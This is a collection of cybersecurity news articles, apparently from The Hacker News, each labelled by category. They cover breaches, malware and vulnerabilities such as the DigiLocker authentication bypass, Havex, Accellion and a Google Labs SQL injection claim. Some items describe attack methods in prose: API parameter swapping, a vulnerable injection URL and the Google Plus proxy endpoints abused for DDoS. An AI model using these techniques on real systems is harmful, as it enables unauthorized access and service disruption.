Discovered separately by two independent bug bounty researchers, Mohesh Mohan and Ashish Gahlot, the vulnerability could have been exploited easily to unauthorisedly access sensitive documents uploaded by targeted users' on the Government-operated platform.
"The OTP function lacks authorization which makes it possible to perform OTP validation with submitting any valid users details and then manipulation flow to sign in as a totally different user," Mohesh Mohan said in a disclosure shared with The Hacker News.
With over 38 million registered users, Digilocker is a cloud-based repository that acts as a digital platform to facilitate online processing of documents and speedier delivery of various government-to-citizen services. It's linked to a user's mobile number and Aadhar ID—a unique identity number (UID) issued to every resident of India.
According to Mohan, all an attacker needs to know is either victim's Aadhaar ID or linked mobile number or username to unauthorizedly access a targeted Digilocker account, prompting the service to send an OTP and subsequently exploiting the flaw to bypass the sign-in process.
It's worth noting that the mobile app version of Digilocker also comes with a 4-digit PIN for an added layer of security. But the researchers said it was possible to modify the API calls to authenticate the PIN by associating the PIN to another user (identified with a version-5 UUID) and successfully login in as the victim.
This means "you can do the SMS OTP [verification] as one user and submit the pin of a second user, and finally, you will end up logging as the second user," Mohan said.
What's more, the lack of authorization for the API endpoint used to set the secret PIN effectively implies the API can be exploited to reset the PIN linked to a random user using the individual's UUID.
"There is no session-related information on the POST request, so it's not bound to any user," Mohan added.
In addition to the issues mentioned above, the API calls from mobile apps were secured by basic authentication that can be circumvented by removing a header flag "is_encrypted: 1." The application was also found to implement a weak SSL pinning mechanism, making them vulnerable to a bypass using tools like Frida.
After the flaw was reported to CERT-In on May 10 by Mohan and to DigiLocker on 16th May by Ashish, the cyber agency said the issue was fixed on May 28.
"The nature of the vulnerability was such that an individual's DigiLocker account could potentially get compromised if the attacker knew the username for that particular account," Digilocker said in a tweet last week acknowledging the flaw. "It was not a vulnerability that could let anyone get access to [the] DigiLocker account of anyone whose username and other details were not known."
"Upon analysis, it was discovered that this vulnerability had crept in the code when some new features were added recently. The vulnerability was patched on a priority basis by the technical team within a day of getting the alert from CERT-In. This was not an attack on infrastructure, and no data, database, storage, or encryption was compromised," the team added.
| Vulnerability |
Sabpab - Another Mac os Backdoor Trojan Discovered | https://thehackernews.com/2012/04/sabpab-another-mac-os-backdoor-trojan.html | Sabpab - Another Mac os Backdoor Trojan Discovered
Security firm Sophos has discovered more malware for the Mac OS X platform called Sabpab. It uses the same Java vulnerability as Flashback to install itself as a "drive-by download." Users of older versions of Java now have still more malware to worry about.
It also doesn't require any user interaction to infect a system either just like Flashback all that needs to happen is for you to visit an infected webpage. Sabpab, according to Sophos, installs a backdoor that allows the hackers to capture screen snapshots, upload or download files and execute commands on infected Macs remotely.
The Trojan creates the files
/Users//Library/Preferences/com.apple.PubSabAgent.pfile
/Users//Library/LaunchAgents/com.apple.PubSabAGent.plist
Encrypted logs are sent back to the control server, so the hackers can monitor activity. Although one variant of Flashback installed a file in the LaunchAgents folder, not all tools for detecting Flashback do anything with that folder.
Symantec identifies the trojan as OSX.Sabpab which exploits the Oracle Java SE Remote Java Runtime Environment Denial Of Service Vulnerability (BID 52161) in order to install itself on to the compromised computer.
Sophos products, including free Mac anti-virus for home users, detect the Trojan horse as OSX/Sabpab-A.
| Malware |
New 0-Day Flaw Affecting Most Android Phones Being Exploited in the Wild | https://thehackernews.com/2019/10/android-kernel-vulnerability.html | Another day, another revelation of a critical unpatched zero-day vulnerability, this time in the world's most widely used mobile operating system, Android.
What's more? The Android zero-day vulnerability has also been found to be exploited in the wild by the Israeli surveillance vendor NSO Group—infamous for selling zero-day exploits to governments—or one of its customers, to gain control of their targets' Android devices.
Discovered by Project Zero researcher Maddie Stone, the details and a proof-of-concept exploit for the high-severity security vulnerability, tracked as CVE-2019-2215, has been made public today—just seven days after reporting it to the Android security team.
The zero-day is a use-after-free vulnerability in the Android kernel's binder driver that can allow a local privileged attacker or an app to escalate their privileges to gain root access to a vulnerable device and potentially take full remote control of the device.
Vulnerable Android Devices
The vulnerability resides in versions of Android kernel released before April last year, a patch for which was included in the 4.14 LTS Linux kernel released in December 2017 but was only incorporated in AOSP Android kernel versions 3.18, 4.4 and 4.9.
Therefore, most Android devices manufactured and sold by a majority of vendors with the unpatched kernel are still vulnerable to this vulnerability even after having the latest Android updates, including below-listed popular smartphone models :
Pixel 1
Pixel 1 XL
Pixel 2
Pixel 2 XL
Huawei P20
Xiaomi Redmi 5A
Xiaomi Redmi Note 5
Xiaomi A1
Oppo A3
Moto Z3
Oreo LG phones
Samsung S7
Samsung S8
Samsung S9
To be noted, Pixel 3, 3 XL, and 3a devices running the latest Android kernels are not vulnerable to the issue.
Android Flaw Can Be Exploited Remotely
According to the researcher, since the issue is "accessible from inside the Chrome sandbox," the Android kernel zero-day vulnerability can also be exploited remotely by combining it with a separate Chrome rendering flaw.
"The bug is a local privilege escalation vulnerability that allows for a full compromise of a vulnerable device. If the exploit is delivered via the Web, it only needs to be paired with a renderer exploit, as this vulnerability is accessible through the sandbox," Stone says in the Chromium blog.
"I've attached a local exploit proof-of-concept to demonstrate how this bug can be used to gain arbitrary kernel read/write when running locally. It only requires the untrusted app code execution to exploit CVE-2019-2215. I've also attached a screenshot (success.png) of the POC running on a Pixel 2, running Android 10 with security patch level September 2019."
Patches to be Made Available Soon
Though Google will release a patch for this vulnerability in its October's Android Security Bulletin in the coming days and also notified OEMs, most affected devices would not likely receive the patch immediately, unlike Google Pixel 1 and 2.
"This issue is rated as High severity on Android and by itself requires installation of a malicious application for potential exploitation. Any other vectors, such as via web browser, require chaining with an additional exploit," the Android security team said in a statement.
"We have notified Android partners, and the patch is available on the Android Common Kernel. Pixel 3 and 3a devices are not vulnerable while Pixel 1 and 2 devices will be receiving updates for this issue as part of the October update."
Google's Project Zero division usually gives software developers a 90-day deadline to fix the issue in their affected products before going public with the details and PoC exploits, but in case of active exploits, the team goes public after seven days of privately being reported.
What's your take? Although this vulnerability is severe and can be used to gain root access to an Android device, users need not worry that much as the exploitation of such issues is mostly limited to targeted attack scenarios.
Nevertheless, it's always a good idea to avoid downloading and installing apps from third-party app stores and any unnecessary apps, even from the Google Play Store.
| Vulnerability |
Hackers Exploit Accellion Zero-Days in Recent Data Theft and Extortion Attacks | https://thehackernews.com/2021/02/hackers-exploit-accellion-zero-days-in.html | Cybersecurity researchers on Monday tied a string of attacks targeting Accellion File Transfer Appliance (FTA) servers over the past two months to data theft and extortion campaign orchestrated by a cybercrime group called UNC2546.
The attacks, which began in mid-December 2020, involved exploiting multiple zero-day vulnerabilities in the legacy FTA software to install a new web shell named DEWMODE on victim networks and exfiltrating sensitive data, which was then published on a data leak website operated by the CLOP ransomware gang.
But in a twist, no ransomware was actually deployed in any of the recent incidents that hit organizations in the U.S., Singapore, Canada, and the Netherlands, with the actors instead resorting to extortion emails to threaten victims into paying bitcoin ransoms.
According to Risky Business, some of the companies that have had their data listed on the site include Singapore's telecom provider SingTel, the American Bureau of Shipping, law firm Jones Day, the Netherlands-based Fugro, and life sciences company Danaher.
Following the slew of attacks, Accellion has patched four FTA vulnerabilities that were known to be exploited by the threat actors, in addition to incorporating new monitoring and alerting capabilities to flag any suspicious behavior. The flaws are as follows -
CVE-2021-27101 - SQL injection via a crafted Host header
CVE-2021-27102 - OS command execution via a local web service call
CVE-2021-27103 - SSRF via a crafted POST request
CVE-2021-27104 - OS command execution via a crafted POST request
FireEye's Mandiant threat intelligence team, which is leading the incident response efforts, is tracking the follow-on extortion scheme under a separate threat cluster it calls UNC2582 despite "compelling" overlaps identified between the two sets of malicious activities and previous attacks carried out by a financially motivated hacking group dubbed FIN11.
"Many of the organizations compromised by UNC2546 were previously targeted by FIN11," FireEye said. "Some UNC2582 extortion emails observed in January 2021 were sent from IP addresses and/or email accounts used by FIN11 in multiple phishing campaigns between August and December 2020."
Once installed, the DEWMODE web shell was leveraged to download files from compromised FTA instances, leading to the victims receiving extortion emails claiming to be from the "CLOP ransomware team" several weeks later.
Lack of reply in a timely manner would result in additional emails sent to a wider group of recipients in the victim organization as well as its partners containing links to the stolen data, the researchers detailed.
Besides urging its FTA customers to migrate to kiteworks, Accellion said fewer than 100 out of 300 total FTA clients were victims of the attack and that less than 25 appear to have suffered "significant" data theft.
The development comes after grocery chain Kroger disclosed last week that HR data, pharmacy records, and money services records belonging to some customers might have been compromised as a result of the Accellion incident.
Then earlier today, Transport for New South Wales (TfNSW) became the latest entity to confirm that it had been impacted by the worldwide Accellion data breach.
"The Accellion system was widely used to share and store files by organisations around the world, including Transport for NSW," the Australian agency said. "Before the attack on Accellion servers was interrupted, some Transport for NSW information was taken."
| Cyber_Attack |
SQL Injection Vulnerability in Google Lab Database System | https://thehackernews.com/2011/06/sql-injection-vulnerability-in-google.html | SQL Injection Vulnerability in Google Lab Database System
Very Big & Critical Vulnerability detected in Google Lab System. Vendor is already reported by hackers, But they don't take positive step in this case, so finally hackers exposed the vulnerability in public by Bangladesh Cyber Army Admin - Shadman Tanjim on their Forum.
Google Lab Website has SQL Injection Vulnerability and Dangerous thing is this Vulnerability is Exploitable. Hackers are able to get Tables, columns and data from Database. Google Lab Database has his own customize DB system. But Interesting things is their database system is Similar as Ms Access database. In this case Ms Access SQL Injection System is Also Work on Google Lab Database system.
Statement By Hacker :
I already contact with Google Corporation but they don't give positive response, I think this is their big fault, and will suffer for that. But if they give Positive response then this will be very good for them. Thanks a Ton!!!
Shadman Tanjim
Ethical Hacker, Programmer and Security Professional
Email: [email protected] or [email protected]
Website: www.bdcyberarmy.com/forum
Greets to: Shahee Mirza, Almas Zaman, Sayem Islam, Pudina pata, LuckyFm and All
Bangladesh Cyber Army Members.
Video Download link:
https://www.bdcyberarmy.com/Google/google_video.avi
Hackers Release Step by step proof about this Vulnerability
1. Website : www.googlelabs.com or labs.google.com
2. Vulnerability type : SQL Injection
3. Vulnerable url : https://www.googlelabs.com/?q=%27&apps=Search+Labs
4. Info:
Host IP: 209.85.175.141
Web Server: Google Frontend
Keyword Found: Fast
Injection type is Integer
Let's Check Exploiting this Vulnerable link. Here Hackers use 3 Famous SQL Injection tools. They are:
1. Havij Advance SQL Injection Tool
2. Safe3 SQL Injector v8.4
3. Pangolin SQL Injection Tool
1st Work with Havij Advance SQL Injection Tool:
Screen Shot 1: Scan Vulnerable link and it says this website is Vulnerable.
Screen Shot 2: Now it scans and gets all tables and columns
Screen Shot 3: Now you can see list of tables and Columns
And this is a Prove for this Website is Genuine SQL Injection Vulnerable. Here you see this database type is MS Access, so this is a Proof of this concept. Some people should Say Google Lab Database System is not Ms Access but this Website Database is Similar as Ms Access database and Ms Access SQL Injection Query are also Work on Google Labs Database system. As like MySQL 5 and MySQL 4.1 both are injected via Union select, but both are not have Information Schema.
2nd now Work with Safe3 SQL Injector v8.4:
Screen Shot 1: Analyzing Vulnerable link and it says it's vulnerable and gets keyword and db type.
Screen Shot 2: Now it's Inject the vulnerable link and gets All Table list and column list
This is another Prove for this Website Vulnerability and we can see this and Dangerous thing is its Exploitable. Now we check our last SQL Injection tool for 100% Satisfy.
3rd Pangolin SQL Injection Tool:
Screen Shot 1: Scan vulnerable link and its say this website is vulnerable
Screen Shot 2: Now inject this Website and get tables and columns list
Screen Shot 3: Here is a full List of Tables and Columns list
Now I think we are 100% Sure Google Lab Website is SQL Injection Vulnerable.
You Can Check Video. This Video is also made by Bangladesh Cyber Army Member - Shadman Tanjim.
UPDATE :
Google insist that there has been no intrusion. The company claims that their GQL database won't allow SQL injection attacks. Additionally, they say that the data that appears in the screen shots, does not exist anywhere in their data stores.
On this Shadman Tanjim - Hackers Reply to Google "Proof it. because I am Also Proof it's Vulnerable. If they say's Google Lab is Not Vulnerable, It Means We get new Bugs in Some Famous SQL Injection tools. And also and 1=1 concept. So tell them to proof this and I don't think All tools are false. because 1 tools can false, 2 tools can get false but not All. ALL Tools say's it is Vulnerable, So i don't think it any confusion. :D "
| Vulnerability |
T-Mobile Hacked — 2 Million Customers' Personal Data Stolen | https://thehackernews.com/2018/08/t-mobile-hack-breach.html | T-Mobile today confirmed that the telecom giant suffered a security breach on its US servers on August 20 that may have resulted in the leak of "some" personal information of up to 2 million T-Mobile customers.
The leaked information includes customers' name, billing zip code, phone number, email address, account number, and account type (prepaid or postpaid).
However, the good news is that no financial information like credit card numbers, social security numbers, or passwords, were compromised in the security breach.
According to a brief blog post published by the company detailing the incident, its cybersecurity team detected and shut down an "unauthorized capture of some information" on Monday, August 20.
Although the company has not revealed how the hackers managed to hack into its servers neither it disclosed the exact number of customers affected by the data breach, a T-Mobile spokesperson told Motherboard that less than 3 percent of its 77 million customers were affected.
The spokesperson also said that unknown hackers part of "an international group" managed to access T-Mobile servers through an API that "didn't contain any financial data or other very sensitive data," adding "We found it quickly and shut it down very fast."
T-Mobile said the company informed law enforcement about the security breach and is reaching out to its affected customers directly via SMS message, letter in the mail, or a phone call to notify them as well.
"We take the security of your information very seriously and have a number of safeguards in place to protect your personal information from unauthorized access," T-Mobile said. "We truly regret that this incident occurred and are so sorry for any inconvenience this has caused you."
The U.S. telecom giant is also encouraging affected customers to contact its customer service through 611 for any information regarding the breach.
The T-Mobile incident marks the latest high-profile data breach and adds itself to the list of that other recent high profile attacks took place against Carphone Warehouse that affected its 10 million customers, and Ticketmaster that affected tens of thousands of its customers.
Did you receive any notification regarding this data breach? Let us know in the comments below.
| Cyber_Attack |
Google Patches 6 Critical Android Mediaserver Bugs in May Security Update | https://thehackernews.com/2017/05/android-security-update.html | In Brief
Google has released its monthly security patches for Android this week, addressing 17 critical vulnerabilities, 6 of which affect Android Mediaserver component that could be used to execute malicious code remotely.
Besides patches for Mediaserver, Google also fixed 4 critical vulnerabilities related to Qualcomm components discovered in Android handsets, including Google's Nexus 6P, Pixel XL, and Nexus 9 devices.
According to the Google security bulletin for Android published Monday, this month's security update is one of the largest security fixes the company ever compiled in a single month.
Google has split Android's monthly security bulletin into security "patch levels":
Partial security patch level (2017-05-01) covers patches for vulnerabilities that are common to all Android devices.
Complete security patch level (2017-05-05) includes additional fixes for hardware drivers as well as kernel components that are present only in some devices.
Critical RCE Flaw in Android Mediaserver
The most severe vulnerability exists in Mediaserver – an Android component that handles the processing of image and video files and has been a source of many issues over the past few years, including the critical Stagefright vulnerabilities.
According to the search engine giant, the Mediaserver vulnerability "could enable remote code execution on an affected device through multiple methods such as email, web browsing, and MMS when processing media files."
In other words, attackers could exploit the Mediaserver vulnerability by tricking users into downloading a specially crafted multimedia file on their devices, or sharing the media file via email or other messaging apps and remotely execute arbitrary code.
Interestingly, this vulnerability could be triggered while you sleep, as it's not even necessary for you to open the file because as soon as your device receives the media file, the file system will cause Mediaserver to process it.
The vulnerability was discovered in early January and affects Android versions 4.4.4 KitKat through 7.1.2 Nougat.
Kernel-level Vulnerabilities in Qualcomm
Google has also patched four critical vulnerabilities that stemmed from Qualcomm components and could allow an attacker to gain high-level (root) privileges on an Android device.
Two critical vulnerabilities (CVE-2016-10275 and CVE-2016-10276) in Qualcomm bootloader create conditions ripe for an elevation of privilege attacks, enabling "a local malicious application to execute arbitrary code within the context of the kernel," according to the bulletin.
Another critical Qualcomm bug (CVE-2017-0604) in power driver could also allow a local malicious application to execute malicious code on the device within the context of the kernel, which is the most privileged area of the OS.
No Evidence of Flaws Being Exploited in the Wild
Six of the 17 critical patches are addressed with the 2017-05-01 partial security patches, while the remaining 11 critical security flaws affecting various drivers, libraries and bootloaders are patched in the 2017-05-05 complete patch level.
Good news is that Google assured its users that there are no reports of any of the security vulnerabilities being exploited in the wild.
Google says, having two patch levels "provide Android partners with the flexibility to more quickly fix a subset of vulnerabilities that are similar across all Android devices."
So, users are strongly advised to download the most recent Android security update to keep their devices protected against any potential attack.
Nexus and Pixel devices will receive the complete patch in an over-the-air update in the coming days, or the owners can download it directly from Google's developer site.
It's also worth noting that Google revealed last week that the Nexus 6 and Nexus 9, which were released in November 2014, would no longer be "guaranteed" to receive security updates after October 2017.
A similar timeline has been offered for newer Pixel and Pixel XL handsets of October 2019. After that, the tech giant will only push necessary security fixes to those devices.
| Vulnerability |
Stuxnet-like 'Havex' Malware Strikes European SCADA Systems | https://thehackernews.com/2014/06/stuxnet-like-havex-malware-strikes.html | Security researchers have uncovered a new Stuxnet like malware, named as "Havex", which was used in a number of previous cyber attacks against organizations in the energy sector.
Just like Famous Stuxnet Worm, which was specially designed to sabotage the Iranian nuclear project, the new trojan Havex is also programmed to infect industrial control system softwares of SCADA and ICS systems, with the capability to possibly disable hydroelectric dams, overload nuclear power plants, and even can shut down a country's power grid with a single keystroke.
According to security firm F-Secure who first discovered it as Backdoor:W32/Havex.A., it is a generic remote access Trojan (RAT) and has recently been used to carry out industrial espionage against a number of companies in Europe that use or develop industrial applications and machines.
SMARTY PANTS, TROJANIZED INSTALLERS
To accomplish this, besides traditional infection methods such as exploit kits and spam emails, cybercriminals also used an another effective method to spread Havex RAT, i.e. hacking the websites of software companies and waiting for the targets to install trojanized versions of legitimate apps.
During installation, the trojanized software setup drops a file called "mbcheck.dll", which is actually Havex malware, that attackers are using as a backdoor. "The C&C server will [then] instruct infected computers to download and execute further components,"
"We gathered and analyzed 88 variants of the Havex RAT used to gain access to, and harvest data from, networks and machines of interest. This analysis included investigation of 146 command and control (C&C) servers contacted by the variants, which in turn involved tracing around 1500 IP addresses in an attempt to identify victims." F-Secure said.
F-secure didn't mention the names of the affected vendors, but an industrial machine producer and two educational organizations in France, with companies in Germany were targeted.
INFORMATION GATHERING
Havex RAT is equipped with a new component, whose purpose is to gather network and connected devices information by leveraging the OPC (Open Platform Communications) standard.
OPC is a communications standard that allows interaction between Windows-based SCADA applications and process control hardware. The malware scans the local network for the devices that respond to OPC requests to gather information about industrial control devices and then sends that information back to its command-and-control (C&C) server.
Other than this, it also include information-harvesting tools that gather data from the infected systems, such as:
Operating system related information
A Credential-harvesting tool that stole passwords stored on open web browsers
A component that communicates to different Command-&-Control servers using custom protocols and execute tertiary payloads in memory.
"So far, we have not seen any payloads that attempt to control the connected hardware." F-secure confirmed.
MOTIVATION?
While their motivation is unclear at this point, "We also identified an additional component used by the attackers that includes code to harvest data from infected machines used in ICS/SCADA systems. This indicates that the attackers are not just interested in compromising the networks of companies they are interested in, but are also motivated in having control of the ICS/SCADA systems in those organizations." F-Secure noticed.
HAVEX TROJAN FROM RUSSIANS ?
In January this year, Cybersecurity firm CrowdStrike revealed about a cyber espionage campaign, dubbed "Energetic Bear," where hackers possibly tied to Russian Federation penetrating the computer networks of energy companies in Europe, the United States and Asia.
According to CrowdStrike, the Malwares used in those cyber attacks were HAVEX RAT and SYSMain RAT, and possibly HAVEX RAT is itself a newer version of the SYSMain RAT, and both tools have been operated by the attackers since at least 2011.
That means, It is possible that Havex RAT could be somehow linked to Russian hackers or state-sponsored by Russian Government.
| Malware |
DDoS Attack Using Google Plus Servers | https://thehackernews.com/2011/08/ddos-attack-using-google-plus-servers.html | A Security expert at Italian security firm AIR Sicurezza Informatica has claimed that Google's servers vulnerability allows a hacker to exploit the search giant's bandwidth to launch a distributed denial-of-service (DDoS) attack on any targeted server.
On the IHTeam Security Blog, Simone Quatrini, demonstrates how users can make Google's servers act as a proxy to fetch content on their behalf.
Quatrini has written a shell script that will repeatedly prompt Google's servers to make requests to a site of the attacker's choice, effectively using Google's bandwidth rather than their own, in an effort to prevent it from functioning.
The advantage of using Google and make requests through their servers, is to be even more anonymous when you attack some site (TOR+This method) and the funny thing is that apache will log Google IP addresses.
But beware: gadgets/proxy? will send your ip in apache log, if you want to attack, you'll need to use /_/sharebox/linkpreview/.
WORKING
Using vulnerable pages i.e. "/_/sharebox/linkpreview/" and "gadgets/proxy?", it is possible to request any file type from the external source, and Google Plus servers will download it to show the content. So, if you parallelize so many requests at same time, it will be possible to perform a significant DDoS attack against any website with Google's bandwidth.
| Vulnerability |
Critical SQLite Flaw Leaves Millions of Apps Vulnerable to Hackers | https://thehackernews.com/2018/12/sqlite-vulnerability.html | Cybersecurity researchers have discovered a critical vulnerability in widely used SQLite database software that exposes billions of deployments to hackers.
Dubbed as 'Magellan' by Tencent's Blade security team, the newly discovered SQLite flaw could allow remote attackers to execute arbitrary or malicious code on affected devices, leak program memory or crash applications.
SQLite is a lightweight, widely used disk-based relational database management system that requires minimal support from operating systems or external libraries, and hence compatible with almost every device, platform, and programming language.
SQLite is the most widely deployed database engine in the world today, which is being used by millions of applications with literally billions of deployments, including IoT devices, macOS and Windows apps, including major web browsers, such as Adobe software, Skype and more.
Since Chromium-based web browsers—including Google Chrome, Opera, Vivaldi, and Brave—also support SQLite through the deprecated Web SQL database API, a remote attacker can easily target users of affected browsers just by convincing them into visiting a specially crafted web-page.
"After testing Chromium was also affected by this vulnerability, Google has confirmed and fixed this vulnerability," the researchers said in a blog post.
SQLite has released updated version 3.26.0 of its software to address the issue after receiving responsible disclosure from the researchers.
Google has also released Chromium version 71.0.3578.80 to patch the issue and pushed the patched version to the latest version of Google Chrome and Brave web-browsers.
Tencent researchers said they successfully build a proof-of-concept exploit using the Magellan vulnerability and successfully tested their exploit against Google Home.
Since most applications can't be patched anytime sooner, researchers have decided not to disclose technical details and proof-of-concept exploit code to the public.
"We will not disclose any details of the vulnerability at this time, and we are pushing other vendors to fix this vulnerability as soon as possible," the researchers said.
Since SQLite is used by everybody including Adobe, Apple, Dropbox, Firefox, Android, Chrome, Microsoft and a bunch of other software, the Magellan vulnerability is a noteworthy issue, even if it's not yet been exploited in the wild.
Users and administrators are highly recommended to update their systems and affected software versions to the latest release as soon as they become available.
Stay tuned for more information.
| Vulnerability |
First widely distributed Android bootkit Malware infects more than 350,000 Devices | https://thehackernews.com/2014/01/first-widely-distributed-android.html | In the last quarter of 2013, sale of a Smartphone with ANDROID operating system has increased and every second person you see is a DROID user.
A Russian security firm 'Doctor Web' identified the first mass distributed Android bootkit malware called 'Android.Oldboot', a piece of malware that's designed to re-infect devices after reboot, even if you delete all working components of it.
The bootkit Android.Oldboot has infected more than 350,000 android users in China, Spain, Italy, Germany, Russia, Brazil, the USA and some Southeast Asian countries. China seems to a mass victim of this kind of malware having a 92 % share.
A Bootkit is a rootkit malware variant which infects the device at start-up and may encrypt disk or steal data, remove the application, open connection for Command and controller.
A very unique technique is being used to inject this Trojan into an Android system where an attacker places a component of it into the boot partition of the file system and modify the 'init' script (initialize the operating system) to re-load the malware as you switch on your android.
When you start your device, this script loads the Trojan 'imei_chk' (detects it as Android.Oldboot.1) which extract two files libgooglekernel.so (Android.Oldboot.2) and GoogleKernel.apk (Android.Oldboot.1.origin), copy them respectively in /system/lib and /system/app.
Android.Oldboot acts as a system service and connects to the command-and-controller server using libgooglekernel.so library and receives commands to download, remove installed apps, and install malicious apps.
Since it becomes a part of the boot partition, formatting the device will not solve the problem. The researchers believe that the devices somehow had the malware pre-loaded at the time of shipping from the manufacturer, or was likely distributed inside modified Android firmware. So, users should beware of certain modified Android firmware.
Two weeks ago, Some Chinese Security Researchers have also detected a bootkit called 'Oldboot', possibly the same malware or another variant of it.
"Due to the special RAM disk feature of Android devices' boot partition, all current mobile antivirus products in the world can't completely remove this Trojan or effectively repair the system."
"According to our statistics, as of today, there're more than 500, 000 Android devices infected by this bootkit in China in last six months.
The Android malware Android.Oldboot is almost impossible to remove, not even with formatting your device. But if your device is not from a Chinese manufacturer, then chances that you are a victim of it, are very less.
This bootkit is not the first of this kind. Two years back, in the month of March we reported, NQ Mobile Security Research Center uncovered the world's first Android bootkit malware called 'DKFBootKit', that replaces certain boot processes and can begin running even before the system is completely booted up.
But Android.Oldboot malware is a bit more dangerous because even if you remove all working components of it from your android successfully, the component imei_chk will persist in a protected boot memory area and hence will reinstall itself on next boot and continuously infect the Smartphone.
Users are recommended to install apps from authorized stores such as Google Play, disable installation of apps from 'Unknown Sources' and for a better security install a reputed security application.
You can also try to re-flash your device with its original ROM. After flashing, the bootkit will be removed.
| Malware |
New Chrome 0-day Under Active Attacks – Update Your Browser Now | https://thehackernews.com/2020/10/chrome-zeroday-attacks.html | Attention readers, if you are using Google Chrome browser on your Windows, Mac, or Linux computers, you need to update your web browsing software immediately to the latest version Google released earlier today.
Google released Chrome version 86.0.4240.111 today to patch several security high-severity issues, including a zero-day vulnerability that has been exploited in the wild by attackers to hijack targeted computers.
Tracked as CVE-2020-15999, the actively exploited vulnerability is a type of memory-corruption flaw called heap buffer overflow in Freetype, a popular open source software development library for rendering fonts that comes packaged with Chrome.
The vulnerability was discovered and reported by security researcher Sergei Glazunov of Google Project Zero on October 19 and is subject to a seven-day public disclosure deadline due to the flaw being under active exploitation.
Glazunov also immediately reported the zero-day vulnerability to FreeType developers, who then developed an emergency patch to address the issue on October 20 with the release of FreeType 2.10.4.
Without revealing technical details of the vulnerability, the technical lead for Google's Project Zero Ben Hawkes warned on Twitter that while the team has only spotted an exploit targeting Chrome users, it's possible that other projects that use FreeType might also be vulnerable and are advised to deploy the fix included in FreeType version 2.10.4.
"While we only saw an exploit for Chrome, other users of freetype should adopt the fix discussed here: https://savannah.nongnu.org/bugs/?59308 -- the fix is also in today's stable release of FreeType 2.10.4," Hawkes writes.
According to details shared by Glazunov, the vulnerability exists in the FreeType's function "Load_SBit_Png," which processes PNG images embedded into fonts. It can be exploited by attackers to execute arbitrary code just by using specifically crafted fonts with embedded PNG images.
"The issue is that libpng uses the original 32-bit values, which are saved in `png_struct`. Therefore, if the original width and/or height are greater than 65535, the allocated buffer won't be able to fit the bitmap," Glazunov explained.
Glazunov also published a font file with a proof-of-concept exploit.
Google released Chrome 86.0.4240.111 as Chrome's "stable" version, which is available to all users, not just to opted-in early adopters, saying that the company is aware of reports that "an exploit for CVE-2020-15999 exists in the wild," but did not reveal further details of the active attacks.
Besides the FreeType zero-day vulnerability, Google also patched four other flaws in the latest Chrome update, three of which are high-risk vulnerabilities—an inappropriate implementation bug in Blink, a use after free bug in Chrome's media, and use after free bug in PDFium—and one medium-risk use after free issue in browser's printing function.
Although the Chrome web browser automatically notifies users about the latest available version, users are recommended to manually trigger the update process by going to "Help → About Google Chrome" from the menu.
| Malware |
TSMC Chip Maker Blames WannaCry Malware for Production Halt | https://thehackernews.com/2018/08/tsmc-wannacry-ransomware-attack.html | Taiwan Semiconductor Manufacturing Company (TSMC)—the world's largest makers of semiconductors and processors—was forced to shut down several of its chip-fabrication factories over the weekend after being hit by a computer virus.
Now, it turns out that the computer virus outbreak at Taiwan chipmaker was the result of a variant of WannaCry—a massive ransomware attack that wreaked havoc across the world by shutting down hospitals, telecom providers, and many businesses in May 2017.
TSMC shut down an entire day of production this weekend after several of its factories systems were halted by a computer virus in the middle of the ramp-up for chips to be used by Apple's future lines of iPhones, which could impact revenue by approx $256 million.
According to the semiconductor manufacturer, its computer systems were not direct attacked by any hacker, but instead, were exposed to the malware "when a supplier installed tainted software without a virus scan" to TSMC's network.
The virus then quickly spread to more than 10,000 machines in some of the company's most advanced facilities, including Tainan, Hsinchu, and Taichung—home to some of the cutting-edge fabrication plants that produce semiconductors for Apple.
Although unnamed in its official statement, TSMC reportedly blamed a variant of the 2017 WannaCry ransomware attack for the infection.
"We are surprised and shocked," TSMC CEO C.C. Wei said, "We have installed tens of thousands of tools before, and this is the first time this happened."
Claimed to be developed and spread by North Korea, the WannaCry ransomware shut down hospitals, telecom providers, and many businesses worldwide, infecting hundreds of thousands of computers in over 150 countries within just 72 hours in May 2017.
The WannaCry victims included big names like Boeing, Renault, Honda, FedEx and the UK's National Health Service.
The WannaCry worm was leveraging an NSA's Windows SMB exploit, known as EternalBlue, leaked by the infamous hacking group Shadow Brokers in its April data dump, along with other Windows exploits.
TSMC assured its customers that no confidential information was stolen, and said the company has resumed full operations at its facilities, but shipment delays are expected.
However, the chipmaker declined to discuss the implications for Apple, which is said to be ramping up production of 3 new iPhone models for this fall.
Besides being Apple's sole supplier of SoC components for iPhones and iPads, TSMC also manufactures processors and other silicon chips for many of the industry's biggest tech companies, including AMD, NVIDIA, Qualcomm, and others.
| Malware |
LifeLabs Paid Hackers to Recover Stolen Medical Data of 15 Million Canadians | https://thehackernews.com/2019/12/lifelabs-data-breach.html | LifeLabs, the largest provider of healthcare laboratory testing services in Canada, has suffered a massive data breach that exposed the personal and medical information of nearly 15 million Canadians customers.
The company announced the breach in a press release posted on its website, revealing that an unknown attacker unauthorizedly accessed its computer systems last month and stole customers' information, including their:
Names
Addresses
Email addresses
Login information
Passwords, for their LifeLabs account
Dates of birth
Health card numbers
Lab test results
The Toronto-based company discovered the data breach at the end of October, but the press release does not say anything about the identity of the attacker(s) and how they managed to infiltrate its systems.
However, LifeLabs admitted it paid an undisclosed amount of ransom to the hackers to retrieve the stolen data, which indicates that the attack might have been carried out using a ransomware style malware with data exfiltration abilities.
"Retrieving the data by making a payment. We did this in collaboration with experts familiar with cyber-attacks and negotiations with cybercriminals," the company said while announcing several measures it took to protect its customers' information.
LifeLabs also said the majority of affected customers, who used its labs for diagnostic, naturopathic, and genetic tests, reside in British Columbia and Ontario, with relatively few customers in other locations.
"In the case of lab test results, our investigations to date of these systems indicate that there are 85,000 impacted customers from 2016 or earlier located in Ontario; we will be working to notify these customers directly," the press release read.
"Our investigation to date indicates any instance of health care information was from 2016 or earlier."
LifeLabs said it immediately involved "world-class cybersecurity experts" to isolate and secure the affected computer systems and determine the scope of the cyber attack.
The company also stated that it had already notified law enforcement, privacy commissioners, and government partners to investigate the breach incident.
While LifeLabs has taken several steps to fix the system issues related to the cyber attack and strengthen its cyber defenses by placing additional safeguards to protect your information, it is also offering one free year of identity theft insurance.
"Any customer who is concerned about this incident can receive one free year of protection that includes dark web monitoring and identity theft insurance," LifeLabs said.
Since the exposed data includes users' account login information, affected users are strongly advised to change their passwords on the company's website as well as on any other where they have reused the same password.
| Data_Breaches |
